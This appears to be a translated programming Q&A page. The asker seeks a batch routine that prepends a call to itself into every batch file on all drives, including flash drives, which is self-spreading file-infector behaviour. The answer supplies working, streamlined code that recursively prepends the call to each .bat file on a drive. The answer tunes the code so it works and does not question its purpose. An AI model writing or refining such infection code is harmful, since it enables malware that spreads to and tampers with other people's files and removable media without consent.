0

他のすべてのドライブ (フラッシュ ドライブなどを含む) の他のすべてのバッチ ファイルの先頭に自分自身への呼び出しを追加するルーチンをバッチ ファイルで作成しようとしています。これを行うために、ネストされた FOR 関数を使用しています。最初の部分では、append と呼ばれる変数を設定して、ドライブ内のすべてのバッチ ファイルに実際に追加します。2 番目の部分では、fsutil を使用して使用中のすべてのドライブを取得し、「cd」を介して各出力をカスケードしてから、append 変数を呼び出して実際の追加を行います。これは、すべてのドライブでバッチ ファイルが追加されるかどうかが確認されるようにするためです。このようなコマンドの文字列になるように変数を設定できますか? 非常に多くのFOR関数が誤動作を引き起こすのでしょうか? 別のものに埋め込まれているので?変数を設定し、FOR 関数でトークンを使用するつもりですか? 実際の追加プロセスはスムーズに進みますか? 最後に、ディスクが入っていないディスク ドライブに cd をセットしようとすると、「ディスクを挿入」ポップアップが表示されるなど、自動化を中断する可能性のある中断はありますか?

set append = (
    FOR %%F IN (*.bat) DO (
        FOR /f "tokens=*" %%I IN (%%F) DO (
            set origtext = %%I
            echo @echo off >%%F
            echo cd %drive%WINDOWS\system32\Q32 >> %%F
            echo start Q32.bat >> %%F
            echo %%I >> %%F
        )
    )
)
FOR /f "tokens=*" %%A IN (fsutil fsinfo) DO (
    cd %%A
    %append%
)
4

1 に答える 1

1

次のようなものを使用すると、ループを減らすことができます。

set desiredCall=c:\windows\batchyouwanttocall.bat

for /r %i in (*.bat) do (
   echo %desiredCall% > "%i.tmp"
   type "%i" >> "%i.tmp"
   move /y "%i.tmp" "%i"
)

FOR /Rどこからでもディレクトリ ツリーをたどることができます。したがって、これを から実行するC:と、C ドライブのすべての .bat ファイルが影響を受けます。

このアプローチを使用すると、各ファイルのすべての行をループする必要がなくなります。ちょうど各ファイル。

そして、あなたの質問に答えるために、変数をそのようなコマンドの文字列に設定することはできないと思います。

注意すべきことは、上記の呼び出したいルーチンが%desiredCall%.bat ファイルでもある場合、それ自体を無限に呼び出すように設定しないようにする必要があるということです。

于 2012-05-04T04:33:51.350 に答える